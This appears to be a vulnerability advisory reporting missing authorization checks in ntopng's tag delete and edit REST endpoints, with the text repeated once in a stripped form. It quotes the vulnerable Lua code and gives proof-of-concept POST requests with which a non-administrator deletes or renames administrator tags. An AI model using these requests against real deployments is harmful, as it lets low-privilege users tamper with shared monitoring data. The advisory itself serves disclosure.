Summary
Two REST v2 endpoints that manage ntopng's tag/badge feature — POST /lua/rest/v2/delete/tag/tag.lua and POST /lua/rest/v2/edit/tag/tag.lua — perform no authorization check at all. Any authenticated user, including a non-administrator ("unprivileged") account, can delete or rename any tag in the system, including tags created by an administrator. Confirmed live against a source-built instance of this codebase.
Details
Vulnerable files:
scripts/lua/rest/v2/delete/tag/tag.lua
scripts/lua/rest/v2/edit/tag/tag.lua
Neither script contains an isAdministrator(), isAdministratorOrPrintErr(), or auth.has_capability() check:
-- scripts/lua/rest/v2/delete/tag/tag.lua (entire file, no auth gate)
local post_data = _POST or {}
local tag_id = post_data["tag_id"]
tag_badge_utils.deleteTag(tag_id)
rest_utils.answer(rest_utils.consts.success.ok)
-- scripts/lua/rest/v2/edit/tag/tag.lua (entire file, no auth gate)
local tags = post_data["tags"]
if tags then
for index, t in pairs(tags) do
tag_badge_utils.editTag(t.tag_id, t.tag_name, t.color, t.description, false)
end
end
rest_utils.answer(rest_utils.consts.success.ok)
The underlying module functions, scripts/lua/modules/tag_badge_utils.lua, contain no authorization check either — they write/delete directly against the shared ntopng.prefs.tags Redis hash:
function tag_badge_utils.deleteTag(id)
...
if tags[id] then
ntop.delHashCache(get_redis_key(), id) -- unconditional delete, no ownership/role check
...
function tag_badge_utils.editTag(id, name, color, description, reserved)
...
ntop.setHashCache(get_redis_key(), id, json.encode(tag)) -- unconditional overwrite, no ownership/role check
end
Note also that both REST endpoint scripts ignore the return value of deleteTag()/report success unconditionally regardless of whether the operation actually succeeded — a minor, separate code-quality issue that does not affect exploitability here.
PoC
Live-tested against a source-built ntopng instance (Docker, -i dummy) with a genuine non-administrator ("unprivileged") account:
# Seed a tag as admin (via Redis, standing in for the normal admin UI flow)
HSET ntopng.prefs.tags "1" '{"id":"1","name":"Sensitive-Tag","color":"#ff0000","description":"created by admin"}'
# As non-admin "lowpriv" user, with a valid session + CSRF token from their own session:
POST /lua/rest/v2/delete/tag/tag.lua
Content-Type: application/x-www-form-urlencoded
csrf=<lowpriv's own csrf>&tag_id=1
Result: {"rc":0,"rc_str":"OK","rc_str_hr":"Success"}. Verified via Redis that the tag hash field was actually removed (HGETALL ntopng.prefs.tags returned empty).
A second test against edit/tag/tag.lua with a fresh seeded tag (id=2, name=Original-Name) and payload
{"csrf":"<lowpriv csrf>","tags":[{"tag_id":"2","tag_name":"HACKED-BY-LOWPRIV","color":"#000000","description":"pwned"}]}
resulted in the tag being renamed: HGET ntopng.prefs.tags 2 returned {"reserved":false,"id":"2","description":"pwned","name":"HACKED-BY-LOWPRIV","color":"#000000"}.
Impact
Any authenticated, non-administrator user can delete or rename arbitrary tags system-wide, including tags an administrator relies on for host/flow classification, alerting rules, or dashboards that filter by tag. This is a straightforward integrity/availability violation of a shared, system-wide resource by a low-privilege account.
Summary
Two REST v2 endpoints that manage ntopng's tag/badge feature —
POST /lua/rest/v2/delete/tag/tag.luaandPOST /lua/rest/v2/edit/tag/tag.lua— perform no authorization check at all. Any authenticated user, including a non-administrator ("unprivileged") account, can delete or rename any tag in the system, including tags created by an administrator. Confirmed live against a source-built instance of this codebase.Details
Vulnerable files:
scripts/lua/rest/v2/delete/tag/tag.luascripts/lua/rest/v2/edit/tag/tag.luaNeither script contains an
isAdministrator(),isAdministratorOrPrintErr(), orauth.has_capability()check:The underlying module functions,
scripts/lua/modules/tag_badge_utils.lua, contain no authorization check either — they write/delete directly against the sharedntopng.prefs.tagsRedis hash:Note also that both REST endpoint scripts ignore the return value of
deleteTag()/report success unconditionally regardless of whether the operation actually succeeded — a minor, separate code-quality issue that does not affect exploitability here.PoC
Live-tested against a source-built ntopng instance (Docker,
-i dummy) with a genuine non-administrator ("unprivileged") account:Result:
{"rc":0,"rc_str":"OK","rc_str_hr":"Success"}. Verified via Redis that the tag hash field was actually removed (HGETALL ntopng.prefs.tagsreturned empty).A second test against
edit/tag/tag.luawith a fresh seeded tag (id=2,name=Original-Name) and payload{"csrf":"<lowpriv csrf>","tags":[{"tag_id":"2","tag_name":"HACKED-BY-LOWPRIV","color":"#000000","description":"pwned"}]}resulted in the tag being renamed:
HGET ntopng.prefs.tags 2returned{"reserved":false,"id":"2","description":"pwned","name":"HACKED-BY-LOWPRIV","color":"#000000"}.Impact
Any authenticated, non-administrator user can delete or rename arbitrary tags system-wide, including tags an administrator relies on for host/flow classification, alerting rules, or dashboards that filter by tag. This is a straightforward integrity/availability violation of a shared, system-wide resource by a low-privilege account.